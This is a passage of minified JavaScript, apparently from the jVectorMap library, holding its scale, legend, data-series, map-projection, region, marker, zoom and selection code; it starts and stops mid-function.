this.scale[value]},jvm.OrdinalScale.prototype.getTicks=function(){var key,ticks=[];for(key in this.scale)ticks.push({label:key,value:this.scale[key]});return ticks},jvm.NumericScale=function(scale,normalizeFunction,minValue,maxValue){this.scale=[],normalizeFunction=normalizeFunction||"linear",scale&&this.setScale(scale),normalizeFunction&&this.setNormalizeFunction(normalizeFunction),void 0!==minValue&&this.setMin(minValue),void 0!==maxValue&&this.setMax(maxValue)},jvm.NumericScale.prototype={setMin:function(min){this.clearMinValue=min,"function"==typeof this.normalize?this.minValue=this.normalize(min):this.minValue=min},setMax:function(max){this.clearMaxValue=max,"function"==typeof this.normalize?this.maxValue=this.normalize(max):this.maxValue=max},setScale:function(scale){var i;for(this.scale=[],i=0;i<scale.length;i++)this.scale[i]=[scale[i]]},setNormalizeFunction:function(f){"polynomial"===f?this.normalize=function(value){return Math.pow(value,.2)}:"linear"===f?delete this.normalize:this.normalize=f,this.setMin(this.clearMinValue),this.setMax(this.clearMaxValue)},getValue:function(value){var l,c,lengthes=[],fullLength=0,i=0;for("function"==typeof this.normalize&&(value=this.normalize(value)),i=0;i<this.scale.length-1;i++)l=this.vectorLength(this.vectorSubtract(this.scale[i+1],this.scale[i])),lengthes.push(l),fullLength+=l;for(c=(this.maxValue-this.minValue)/fullLength,i=0;i<lengthes.length;i++)lengthes[i]*=c;for(i=0,value-=this.minValue;0<=value-lengthes[i];)value-=lengthes[i],i++;return value=i==this.scale.length-1?this.vectorToNum(this.scale[i]):this.vectorToNum(this.vectorAdd(this.scale[i],this.vectorMult(this.vectorSubtract(this.scale[i+1],this.scale[i]),value/lengthes[i])))},vectorToNum:function(vector){var i,num=0;for(i=0;i<vector.length;i++)num+=Math.round(vector[i])*Math.pow(256,vector.length-i-1);return num},vectorSubtract:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]-vector2[i];return vector},vectorAdd:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]+vector2[i];return vector},vectorMult:function(vector,num){var i,result=[];for(i=0;i<vector.length;i++)result[i]=vector[i]*num;return result},vectorLength:function(vector){var i,result=0;for(i=0;i<vector.length;i++)result+=vector[i]*vector[i];return Math.sqrt(result)},getTicks:function(){var tick,v,extent=[this.clearMinValue,this.clearMaxValue],span=extent[1]-extent[0],step=Math.pow(10,Math.floor(Math.log(span/5)/Math.LN10)),err=5/span*step,ticks=[];for(err<=.15?step*=10:err<=.35?step*=5:err<=.75&&(step*=2),extent[0]=Math.floor(extent[0]/step)*step,extent[1]=Math.ceil(extent[1]/step)*step,tick=extent[0];tick<=extent[1];)v=tick==extent[0]?this.clearMinValue:tick==extent[1]?this.clearMaxValue:tick,ticks.push({label:tick,value:this.getValue(v)}),tick+=step;return ticks}},jvm.ColorScale=function(colors,normalizeFunction,minValue,maxValue){jvm.ColorScale.parentClass.apply(this,arguments)},jvm.inherits(jvm.ColorScale,jvm.NumericScale),jvm.ColorScale.prototype.setScale=function(scale){var i;for(i=0;i<scale.length;i++)this.scale[i]=jvm.ColorScale.rgbToArray(scale[i])},jvm.ColorScale.prototype.getValue=function(value){return jvm.ColorScale.numToRgb(jvm.ColorScale.parentClass.prototype.getValue.call(this,value))},jvm.ColorScale.arrayToRgb=function(ar){var d,i,rgb="#";for(i=0;i<ar.length;i++)rgb+=1==(d=ar[i].toString(16)).length?"0"+d:d;return rgb},jvm.ColorScale.numToRgb=function(num){for(num=num.toString(16);num.length<6;)num="0"+num;return"#"+num},jvm.ColorScale.rgbToArray=function(rgb){return rgb=rgb.substr(1),[parseInt(rgb.substr(0,2),16),parseInt(rgb.substr(2,2),16),parseInt(rgb.substr(4,2),16)]},jvm.Legend=function(params){this.params=params||{},this.map=this.params.map,this.series=this.params.series,this.body=jvm.$("<div/>"),this.body.addClass("jvectormap-legend"),this.params.cssClass&&this.body.addClass(this.params.cssClass),params.vertical?this.map.legendCntVertical.append(this.body):this.map.legendCntHorizontal.append(this.body),this.render()},jvm.Legend.prototype.render=function(){var i,tick,sample,label,ticks=this.series.scale.getTicks(),inner=jvm.$("<div/>").addClass("jvectormap-legend-inner");for(this.body.html(""),this.params.title&&this.body.append(jvm.$("<div/>").addClass("jvectormap-legend-title").html(this.params.title)),this.body.append(inner),i=0;i<ticks.length;i++){switch(tick=jvm.$("<div/>").addClass("jvectormap-legend-tick"),sample=jvm.$("<div/>").addClass("jvectormap-legend-tick-sample"),this.series.params.attribute){case"fill":jvm.isImageUrl(ticks[i].value)?sample.css("background","url("+ticks[i].value+")"):sample.css("background",ticks[i].value);break;case"stroke":sample.css("background",ticks[i].value);break;case"image":sample.css("background","url("+("object"==typeof ticks[i].value?ticks[i].value.url:ticks[i].value)+") no-repeat center center");break;case"r":jvm.$("<div/>").css({"border-radius":ticks[i].value,border:this.map.params.markerStyle.initial["stroke-width"]+"px "+this.map.params.markerStyle.initial.stroke+" solid",width:2*ticks[i].value+"px",height:2*ticks[i].value+"px",background:this.map.params.markerStyle.initial.fill}).appendTo(sample)}tick.append(sample),label=ticks[i].label,this.params.labelRender&&(label=this.params.labelRender(label)),tick.append(jvm.$("<div>"+label+" </div>").addClass("jvectormap-legend-tick-text")),inner.append(tick)}inner.append(jvm.$("<div/>").css("clear","both"))},jvm.DataSeries=function(params,elements,map){var scaleConstructor;(params=params||{}).attribute=params.attribute||"fill",this.elements=elements,this.params=params,this.map=map,params.attributes&&this.setAttributes(params.attributes),jvm.$.isArray(params.scale)?(scaleConstructor="fill"===params.attribute||"stroke"===params.attribute?jvm.ColorScale:jvm.NumericScale,this.scale=new scaleConstructor(params.scale,params.normalizeFunction,params.min,params.max)):params.scale?this.scale=new jvm.OrdinalScale(params.scale):this.scale=new jvm.SimpleScale(params.scale),this.values=params.values||{},this.setValues(this.values),this.params.legend&&(this.legend=new jvm.Legend(jvm.$.extend({map:this.map,series:this},this.params.legend)))},jvm.DataSeries.prototype={setAttributes:function(key,attr){var code,attrs=key;if("string"==typeof key)this.elements[key]&&this.elements[key].setStyle(this.params.attribute,attr);else for(code in attrs)this.elements[code]&&this.elements[code].element.setStyle(this.params.attribute,attrs[code])},setValues:function(values){var val,cc,max=-Number.MAX_VALUE,min=Number.MAX_VALUE,attrs={};if(this.scale instanceof jvm.OrdinalScale||this.scale instanceof jvm.SimpleScale)for(cc in values)values[cc]?attrs[cc]=this.scale.getValue(values[cc]):attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute];else{if(void 0===this.params.min||void 0===this.params.max)for(cc in values)max<(val=parseFloat(values[cc]))&&(max=val),val<min&&(min=val);for(cc in void 0===this.params.min?(this.scale.setMin(min),this.params.min=min):this.scale.setMin(this.params.min),void 0===this.params.max?(this.scale.setMax(max),this.params.max=max):this.scale.setMax(this.params.max),values)"indexOf"!=cc&&(val=parseFloat(values[cc]),isNaN(val)?attrs[cc]=this.elements[cc].element.style.initial[this.params.attribute]:attrs[cc]=this.scale.getValue(val))}this.setAttributes(attrs),jvm.$.extend(this.values,values)},clear:function(){var key,attrs={};for(key in this.values)this.elements[key]&&(attrs[key]=this.elements[key].element.shape.style.initial[this.params.attribute]);this.setAttributes(attrs),this.values={}},setScale:function(scale){this.scale.setScale(scale),this.values&&this.setValues(this.values)},setNormalizeFunction:function(f){this.scale.setNormalizeFunction(f),this.values&&this.setValues(this.values)}},jvm.Proj={degRad:180/Math.PI,radDeg:Math.PI/180,radius:6381372,sgn:function(n){return 0<n?1:n<0?-1:n},mill:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan((45+.4*lat)*this.radDeg))/.8}},mill_inv:function(x,y,c){return{lat:(2.5*Math.atan(Math.exp(.8*y/this.radius))-5*Math.PI/8)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},merc:function(lat,lng,c){return{x:this.radius*(lng-c)*this.radDeg,y:-this.radius*Math.log(Math.tan(Math.PI/4+lat*Math.PI/360))}},merc_inv:function(x,y,c){return{lat:(2*Math.atan(Math.exp(y/this.radius))-Math.PI/2)*this.degRad,lng:(c*this.radDeg+x/this.radius)*this.degRad}},aea:function(lat,lng,c){var lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,fi=lat*this.radDeg,lambda=lng*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),theta=n*(lambda-lambda0),ro=Math.sqrt(C-2*n*Math.sin(fi))/n,ro0=Math.sqrt(C-2*n*Math.sin(0))/n;return{x:ro*Math.sin(theta)*this.radius,y:-(ro0-ro*Math.cos(theta))*this.radius}},aea_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=29.5*this.radDeg,fi2=45.5*this.radDeg,n=(Math.sin(fi1)+Math.sin(fi2))/2,C=Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),ro0=Math.sqrt(C-2*n*Math.sin(0))/n,ro=Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:Math.asin((C-ro*ro*n*n)/(2*n))*this.degRad,lng:(lambda0+theta/n)*this.degRad}},lcc:function(lat,lng,c){var lambda0=c*this.radDeg,lambda=lng*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,fi=lat*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro=F*Math.pow(1/Math.tan(Math.PI/4+fi/2),n),ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n);return{x:ro*Math.sin(n*(lambda-lambda0))*this.radius,y:-(ro0-ro*Math.cos(n*(lambda-lambda0)))*this.radius}},lcc_inv:function(xCoord,yCoord,c){var x=xCoord/this.radius,y=yCoord/this.radius,lambda0=c*this.radDeg,fi1=33*this.radDeg,fi2=45*this.radDeg,n=Math.log(Math.cos(fi1)*(1/Math.cos(fi2)))/Math.log(Math.tan(Math.PI/4+fi2/2)*(1/Math.tan(Math.PI/4+fi1/2))),F=Math.cos(fi1)*Math.pow(Math.tan(Math.PI/4+fi1/2),n)/n,ro0=F*Math.pow(1/Math.tan(Math.PI/4+0),n),ro=this.sgn(n)*Math.sqrt(x*x+(ro0-y)*(ro0-y)),theta=Math.atan(x/(ro0-y));return{lat:(2*Math.atan(Math.pow(F/ro,1/n))-Math.PI/2)*this.degRad,lng:(lambda0+theta/n)*this.degRad}}},jvm.MapObject=function(config){},jvm.MapObject.prototype.getLabelText=function(key){return this.config.label?"function"==typeof this.config.label.render?this.config.label.render(key):key:null},jvm.MapObject.prototype.getLabelOffsets=function(key){var offsets;return this.config.label&&("function"==typeof this.config.label.offsets?offsets=this.config.label.offsets(key):"object"==typeof this.config.label.offsets&&(offsets=this.config.label.offsets[key])),offsets||[0,0]},jvm.MapObject.prototype.setHovered=function(isHovered){this.isHovered!==isHovered&&(this.isHovered=isHovered,this.shape.isHovered=isHovered,this.shape.updateStyle(),this.label&&(this.label.isHovered=isHovered,this.label.updateStyle()))},jvm.MapObject.prototype.setSelected=function(isSelected){this.isSelected!==isSelected&&(this.isSelected=isSelected,this.shape.isSelected=isSelected,this.shape.updateStyle(),this.label&&(this.label.isSelected=isSelected,this.label.updateStyle()),jvm.$(this.shape).trigger("selected",[isSelected]))},jvm.MapObject.prototype.setStyle=function(){this.shape.setStyle.apply(this.shape,arguments)},jvm.MapObject.prototype.remove=function(){this.shape.remove(),this.label&&this.label.remove()},jvm.Region=function(config){var bbox,text,offsets;this.config=config,this.map=this.config.map,this.shape=config.canvas.addPath({d:config.path,"data-code":config.code},config.style,config.canvas.rootElement),this.shape.addClass("jvectormap-region jvectormap-element"),bbox=this.shape.getBBox(),text=this.getLabelText(config.code),this.config.label&&text&&(offsets=this.getLabelOffsets(config.code),this.labelX=bbox.x+bbox.width/2+offsets[0],this.labelY=bbox.y+bbox.height/2+offsets[1],this.label=config.canvas.addText({text:text,"text-anchor":"middle","alignment-baseline":"central",x:this.labelX,y:this.labelY,"data-code":config.code},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-region jvectormap-element"))},jvm.inherits(jvm.Region,jvm.MapObject),jvm.Region.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.map.transX*this.map.scale,y:this.labelY*this.map.scale+this.map.transY*this.map.scale})},jvm.Marker=function(config){var text;this.config=config,this.map=this.config.map,this.isImage=!!this.config.style.initial.image,this.createShape(),text=this.getLabelText(config.index),this.config.label&&text&&(this.offsets=this.getLabelOffsets(config.index),this.labelX=config.cx/this.map.scale-this.map.transX,this.labelY=config.cy/this.map.scale-this.map.transY,this.label=config.canvas.addText({text:text,"data-index":config.index,dy:"0.6ex",x:this.labelX,y:this.labelY},config.labelStyle,config.labelsGroup),this.label.addClass("jvectormap-marker jvectormap-element"))},jvm.inherits(jvm.Marker,jvm.MapObject),jvm.Marker.prototype.createShape=function(){var that=this;this.shape&&this.shape.remove(),this.shape=this.config.canvas[this.isImage?"addImage":"addCircle"]({"data-index":this.config.index,cx:this.config.cx,cy:this.config.cy},this.config.style,this.config.group),this.shape.addClass("jvectormap-marker jvectormap-element"),this.isImage&&jvm.$(this.shape.node).on("imageloaded",function(){that.updateLabelPosition()})},jvm.Marker.prototype.updateLabelPosition=function(){this.label&&this.label.set({x:this.labelX*this.map.scale+this.offsets[0]+this.map.transX*this.map.scale+5+(this.isImage?(this.shape.width||0)/2:this.shape.properties.r),y:this.labelY*this.map.scale+this.map.transY*this.map.scale+this.offsets[1]})},jvm.Marker.prototype.setStyle=function(property,value){var isImage;jvm.Marker.parentClass.prototype.setStyle.apply(this,arguments),"r"===property&&this.updateLabelPosition(),(isImage=!!this.shape.get("image"))!=this.isImage&&(this.isImage=isImage,this.config.style=jvm.$.extend(!0,{},this.shape.style),this.createShape())},jvm.Map=function(params){var e,map=this;if(this.params=jvm.$.extend(!0,{},jvm.Map.defaultParams,params),!jvm.Map.maps[this.params.map])throw new Error("Attempt to use map which was not loaded: "+this.params.map);for(e in this.mapData=jvm.Map.maps[this.params.map],this.markers={},this.regions={},this.regionsColors={},this.regionsData={},this.container=jvm.$("<div>").addClass("jvectormap-container"),this.params.container&&this.params.container.append(this.container),this.container.data("mapObject",this),this.defaultWidth=this.mapData.width,this.defaultHeight=this.mapData.height,this.setBackgroundColor(this.params.backgroundColor),this.onResize=function(){map.updateSize()},jvm.$(window).resize(this.onResize),jvm.Map.apiEvents)this.params[e]&&this.container.bind(jvm.Map.apiEvents[e]+".jvectormap",this.params[e]);this.canvas=new jvm.VectorCanvas(this.container[0],this.width,this.height),this.params.bindTouchEvents&&("ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch?this.bindContainerTouchEvents():window.MSGesture&&this.bindContainerPointerEvents()),this.bindContainerEvents(),this.bindElementEvents(),this.createTip(),this.params.zoomButtons&&this.bindZoomButtons(),this.createRegions(),this.createMarkers(this.params.markers||{}),this.updateSize(),this.params.focusOn&&("string"==typeof this.params.focusOn?this.params.focusOn={region:this.params.focusOn}:jvm.$.isArray(this.params.focusOn)&&(this.params.focusOn={regions:this.params.focusOn}),this.setFocus(this.params.focusOn)),this.params.selectedRegions&&this.setSelectedRegions(this.params.selectedRegions),this.params.selectedMarkers&&this.setSelectedMarkers(this.params.selectedMarkers),this.legendCntHorizontal=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-h"),this.legendCntVertical=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-v"),this.container.append(this.legendCntHorizontal),this.container.append(this.legendCntVertical),this.params.series&&this.createSeries()},jvm.Map.prototype={transX:0,transY:0,scale:1,baseTransX:0,baseTransY:0,baseScale:1,width:0,height:0,setBackgroundColor:function(backgroundColor){this.container.css("background-color",backgroundColor)},resize:function(){var curBaseScale=this.baseScale;this.width/this.height>this.defaultWidth/this.defaultHeight?(this.baseScale=this.height/this.defaultHeight,this.baseTransX=Math.abs(this.width-this.defaultWidth*this.baseScale)/(2*this.baseScale)):(this.baseScale=this.width/this.defaultWidth,this.baseTransY=Math.abs(this.height-this.defaultHeight*this.baseScale)/(2*this.baseScale)),this.scale*=this.baseScale/curBaseScale,this.transX*=this.baseScale/curBaseScale,this.transY*=this.baseScale/curBaseScale},updateSize:function(){this.width=this.container.width(),this.height=this.container.height(),this.resize(),this.canvas.setSize(this.width,this.height),this.applyTransform()},reset:function(){var key,i;for(key in this.series)for(i=0;i<this.series[key].length;i++)this.series[key][i].clear();this.scale=this.baseScale,this.transX=this.baseTransX,this.transY=this.baseTransY,this.applyTransform()},applyTransform:function(){var maxTransX,maxTransY,minTransX,minTransY;minTransX=this.defaultWidth*this.scale<=this.width?(maxTransX=(this.width-this.defaultWidth*this.scale)/(2*this.scale),(this.width-this.defaultWidth*this.scale)/(2*this.scale)):(maxTransX=0,(this.width-this.defaultWidth*this.scale)/this.scale),minTransY=this.defaultHeight*this.scale<=this.height?(maxTransY=(this.height-this.defaultHeight*this.scale)/(2*this.scale),(this.height-this.defaultHeight*this.scale)/(2*this.scale)):(maxTransY=0,(this.height-this.defaultHeight*this.scale)/this.scale),this.transY>maxTransY?this.transY=maxTransY:this.transY<minTransY&&(this.transY=minTransY),this.transX>maxTransX?this.transX=maxTransX:this.transX<minTransX&&(this.transX=minTransX),this.canvas.applyTransformParams(this.scale,this.transX,this.transY),this.markers&&this.repositionMarkers(),this.repositionLabels(),this.container.trigger("viewportChange",[this.scale/this.baseScale,this.transX,this.transY])},bindContainerEvents:function(){var oldPageX,oldPageY,mouseDown=!1,map=this;this.params.panOnDrag&&(this.container.mousemove(function(e){return mouseDown&&(map.transX-=(oldPageX-e.pageX)/map.scale,map.transY-=(oldPageY-e.pageY)/map.scale,map.applyTransform(),oldPageX=e.pageX,oldPageY=e.pageY),!1}).mousedown(function(e){return mouseDown=!0,oldPageX=e.pageX,oldPageY=e.pageY,!1}),this.onContainerMouseUp=function(){mouseDown=!1},jvm.$("body").mouseup(this.onContainerMouseUp)),this.params.zoomOnScroll&&this.container.mousewheel(function(event,delta,deltaX,deltaY){var offset=jvm.$(map.container).offset(),centerX=event.pageX-offset.left,centerY=event.pageY-offset.top,zoomStep=Math.pow(1+map.params.zoomOnScrollSpeed/1e3,event.deltaFactor*event.deltaY);map.tip.hide(),map.setScale(map.scale*zoomStep,centerX,centerY),event.preventDefault()})},bindContainerTouchEvents:function(){function handleTouchEvent(e){var offset,scale,transXOld,transYOld,touches=e.originalEvent.touches;"touchstart"==e.type&&(lastTouchesLength=0),1==touches.length?(1==lastTouchesLength&&(transXOld=map.transX,transYOld=map.transY,map.transX-=(touchX-touches[0].pageX)/map.scale,map.transY-=(touchY-touches[0].pageY)/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),touchX=touches[0].pageX,touchY=touches[0].pageY):2==touches.length&&(2==lastTouchesLength?(scale=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2))/touchStartDistance,map.setScale(touchStartScale*scale,centerTouchX,centerTouchY),map.tip.hide(),e.preventDefault()):(offset=jvm.$(map.container).offset(),centerTouchX=touches[0].pageX>touches[1].pageX?touches[1].pageX+(touches[0].pageX-touches[1].pageX)/2:touches[0].pageX+(touches[1].pageX-touches[0].pageX)/2,centerTouchY=touches[0].pageY>touches[1].pageY?touches[1].pageY+(touches[0].pageY-touches[1].pageY)/2:touches[0].pageY+(touches[1].pageY-touches[0].pageY)/2,centerTouchX-=offset.left,centerTouchY-=offset.top,touchStartScale=map.scale,touchStartDistance=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2)))),lastTouchesLength=touches.length}var touchStartScale,touchStartDistance,touchX,touchY,centerTouchX,centerTouchY,lastTouchesLength,map=this;jvm.$(this.container).bind("touchstart",handleTouchEvent),jvm.$(this.container).bind("touchmove",handleTouchEvent)},bindContainerPointerEvents:function(){var map=this,gesture=new MSGesture,element=this.container[0];(gesture.target=element).addEventListener("MSGestureChange",function(e){var transXOld,transYOld;0==e.translationX&&0==e.translationY||(transXOld=map.transX,transYOld=map.transY,map.transX+=e.translationX/map.scale,map.transY+=e.translationY/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),1!=e.scale&&(map.setScale(map.scale*e.scale,e.offsetX,e.offsetY),map.tip.hide(),e.preventDefault())},!1),element.addEventListener("pointerdown",function(e){gesture.addPointer(e.pointerId)},!1)},bindElementEvents:function(){var pageX,pageY,mouseMoved,map=this;this.container.mousemove(function(e){2<Math.abs(pageX-e.pageX)+Math.abs(pageY-e.pageY)&&(mouseMoved=!0)}),this.container.delegate("[class~='jvectormap-element']","mouseover mouseout",function(e){var type=-1===(jvm.$(this).attr("class").baseVal||jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),element="region"==type?map.regions[code].element:map.markers[code].element,tipText="region"==type?map.mapData.paths[code].name:map.markers[code].config.name||"",tipShowEvent=jvm.$.Event(type+"TipShow.jvectormap"),overEvent=jvm.$.Event(type+"Over.jvectormap");"mouseover"==e.type?(map.container.trigger(overEvent,[code]),overEvent.isDefaultPrevented()||element.setHovered(!0),map.tip.text(tipText),map.container.trigger(tipShowEvent,[map.tip,code]),tipShowEvent.isDefaultPrevented()||(map.tip.show(),map.tipWidth=map.tip.width(),map.tipHeight=map.tip.height())):(element.setHovered(!1),map.tip.hide(),map.container.trigger(type+"Out.jvectormap",[code]))}),this.container.delegate("[class~='jvectormap-element']","mousedown",function(e){pageX=e.pageX,pageY=e.pageY,mouseMoved=!1}),this.container.delegate("[class~='jvectormap-element']","mouseup",function(){var type=-1===(jvm.$(this).attr("class").baseVal?jvm.$(this).attr("class").baseVal:jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),clickEvent=jvm.$.Event(type+"Click.jvectormap"),element="region"==type?map.regions[code].element:map.markers[code].element;mouseMoved||(map.container.trigger(clickEvent,[code]),("region"==type&&map.params.regionsSelectable||"marker"==type&&map.params.markersSelectable)&&(clickEvent.isDefaultPrevented()||(map.params[type+"sSelectableOne"]&&map.clearSelected(type+"s"),element.setSelected(!element.isSelected))))})},bindZoomButtons:function(){var map=this;jvm.$("<div/>").addClass("jvectormap-zoomin").text("+").appendTo(this.container),jvm.$("<div/>").addClass("jvectormap-zoomout").html("&#x2212;").appendTo(this.container),this.container.find(".jvectormap-zoomin").click(function(){map.setScale(map.scale*map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)}),this.container.find(".jvectormap-zoomout").click(function(){map.setScale(map.scale/map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)})},createTip:function(){var map=this;this.tip=jvm.$("<div/>").addClass("jvectormap-tip").appendTo(jvm.$("body")),this.container.mousemove(function(e){var left=e.pageX-15-map.tipWidth,top=e.pageY-15-map.tipHeight;left<5&&(left=e.pageX+15),top<5&&(top=e.pageY+15),map.tip.css({left:left,top:top})})},setScale:function(scale,anchorX,anchorY,isCentered,animate){var interval,scaleStart,scaleDiff,transXStart,transXDiff,transYStart,transYDiff,transX,transY,viewportChangeEvent=jvm.$.Event("zoom.jvectormap"),that=this,i=0,count=Math.abs(Math.round(60*(scale-this.scale)/Math.max(scale,this.scale))),deferred=new jvm.$.Deferred;return scale>this.params.zoomMax*this.baseScale?scale=this.params.zoomMax*this.baseScale:scale<this.params.zoomMin*this.baseScale&&(scale=this.params.zoomMin*this.baseScale),void 0!==anchorX&&void 0!==anchorY&&(zoomStep=scale/this.scale,transY=isCentered?(transX=anchorX+this.defaultWidth*(this.width/(this.defaultWidth*scale))/2,anchorY+this.defaultHeight*(this.height/(this.defaultHeight*scale))/2):(transX=this.transX-(zoomStep-1)/scale*anchorX,this.transY-(zoomStep-1)/scale*anchorY)),animate&&0<count?(scaleStart=this.scale,scaleDiff=(scale-scaleStart)/count,transXStart=this.transX*this.scale,transYStart=this.transY*this.scale,transXDiff=(transX*scale-transXStart)/count,transYDiff=(transY*scale-transYStart)/count,interval=setInterval(function(){i+=1,that.scale=scaleStart+scaleDiff*i,that.transX=(transXStart+transXDiff*i)/that.scale,that.transY=(transYStart+transYDiff*i)/that.scale,that.applyTransform(),i==count&&(clearInterval(interval),that.container.trigger(viewportChangeEvent,[scale/that.baseScale]),deferred.resolve())},10)):(this.transX=transX,this.transY=transY,this.scale=scale,this.applyTransform(),this.container.trigger(viewportChangeEvent,[scale/this.baseScale]),deferred.resolve()),deferred},setFocus:function(config){var bbox,itemBbox,codes,i,point;if((config=config||{}).region?codes=[config.region]:config.regions&&(codes=config.regions),codes){for(i=0;i<codes.length;i++)this.regions[codes[i]]&&(itemBbox=this.regions[codes[i]].element.shape.getBBox())&&(bbox=void 0===bbox?itemBbox:{x:Math.min(bbox.x,itemBbox.x),y:Math.min(bbox.y,itemBbox.y),width:Math.max(bbox.x+bbox.width,itemBbox.x+itemBbox.width)-Math.min(bbox.x,itemBbox.x),height:Math.max(bbox.y+bbox.height,itemBbox.y+itemBbox.height)-Math.min(bbox.y,itemBbox.y)});return this.setScale(Math.min(this.width/bbox.width,this.height/bbox.height),-(bbox.x+bbox.width/2),-(bbox.y+bbox.height/2),!0,config.animate)}return void 0!==config.lat&&void 0!==config.lng?(point=this.latLngToPoint(config.lat,config.lng),config.x=this.transX-point.x/this.scale,config.y=this.transY-point.y/this.scale):config.x&&config.y&&(config.x*=-this.defaultWidth,config.y*=-this.defaultHeight),this.setScale(config.scale*this.baseScale,config.x,config.y,!0,config.animate)},getSelected:function(type){var key,selected=[];for(key in this[type])this[type][key].element.isSelected&&selected.push(key);return selected},getSelectedRegions:function(){return this.getSelected("regions")},getSelectedMarkers:function(){return this.getSelected("markers")},setSelected:function(type,keys){var i;if("object"!=typeof keys&&(keys=[keys]),jvm.$.isArray(keys))for(i=0;i<keys.length;i++)this[type][keys[i]].element.setSelected(!0);else for(i in keys)this[type][i].element.setSelected(!!keys[i])},setSelectedRegions:function(keys){this.setSelected("regions",keys)},setSelectedMarkers:function(keys){this.setSelected("markers",keys)},clearSelected:function(type){var i,select={},selected=this.getSelected(type);for(i=0;i<selected.length;i++)select[selected[i]]=!1;this.setSelected(type,select)},clearSelectedRegions:function(){this.clearSelected("regions")},clearSelectedMarkers:function(){this.clearSelected("markers")},getMapObject:function(){return this},getRegionName:function(code){return this.mapData.paths[code].name},createRegions:function(){var key,region,map=this;for(key in this.regionLabelsGroup=this.regionLabelsGroup||this.canvas.addGroup(),this.mapData.paths)region=new jvm.Region({map:this,path:this.mapData.paths[key].path,code:key,style:jvm.$.extend(!0,{},this.params.regionStyle),labelStyle:jvm.$.extend(!0,{},this.params.regionLabelStyle),canvas:this.canvas,labelsGroup:this.regionLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.regions:null}),jvm.$(region.shape).bind("selected",function(e,isSelected){map.container.trigger("regionSelected.jvectormap",[jvm.$(this.node).attr("data-code"),isSelected,map.getSelectedRegions()])}),this.regions[key]={element:region,config:this.mapData.paths[key]}},createMarkers:function(markers){var i,marker,point,markerConfig,markersArray,map=this;if(this.markersGroup=this.markersGroup||this.canvas.addGroup(),this.markerLabelsGroup=this.markerLabelsGroup||this.canvas.addGroup(),jvm.$.isArray(markers))for(markersArray=markers.slice(),markers={},i=0;i<markersArray.length;i++)markers[i]=markersArray[i];for(i in markers)markerConfig=markers[i]instanceof Array?{latLng:markers[i]}:markers[i],!1!==(point=this.getMarkerPosition(markerConfig))&&(marker=new jvm.Marker({map:this,style:jvm.$.extend(!0,{},this.params.markerStyle,{initial:markerConfig.style||{}}),labelStyle:jvm.$.extend(!0,{},this.params.markerLabelStyle),index:i,cx:point.x,cy:point.y,group:this.markersGroup,canvas:this.canvas,labelsGroup:this.markerLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.markers:null}),jvm.$(marker.shape).bind("selected",function(e,isSelected){map.container.trigger("markerSelected.jvectormap",[jvm.$(this.node).attr("data-index"),isSelected,map.getSelectedMarkers()])}),this.markers[i]&&this.removeMarkers([i]),this.markers[i]={element:marker,config:markerConfig})},repositionMarkers:function(){var i,point;for(i in this.markers)!1!==(point=this.getMarkerPosition(this.markers[i].config))&&this.markers[i].element.setStyle({cx:point.x,cy:point.y})},repositionLabels:function(){var key;for(key in this.regions)this.regions[key].element.updateLabelPosition();for(key in this.markers)this.markers[key].element.updateLabelPosition()},getMarkerPosition:function(markerConfig){return jvm.Map.maps[this.params.map].projection?this.latLngToPoint.apply(this,markerConfig.latLng||[0,0]):{x:markerConfig.coords[0]*this.scale+this.transX*this.scale,y:markerConfig.coords[1]*this.scale+this.transY*this.scale}},addMarker:function(key,marker,seriesData){var values,i,markers={},data=[];seriesData=seriesData||[];for(markers[key]=marker,i=0;i<seriesData.length;i++)values={},void 0!==seriesData[i]&&(values[key]=seriesData[i]),data.push(values);this.addMarkers(markers,data)},addMarkers:function(markers,seriesData){var i;for(seriesData=seriesData||[],this.createMarkers(markers),i=0;i<seriesData.length;i++)this.series.markers[i].setValues(seriesData[i]||{})},removeMarkers:function(markers){var i;for(i=0;i<markers.length;i++)this.markers[markers[i]].element.remove(),delete this.markers[markers[i]]},removeAllMarkers:function(){var i,markers=[];for(i in 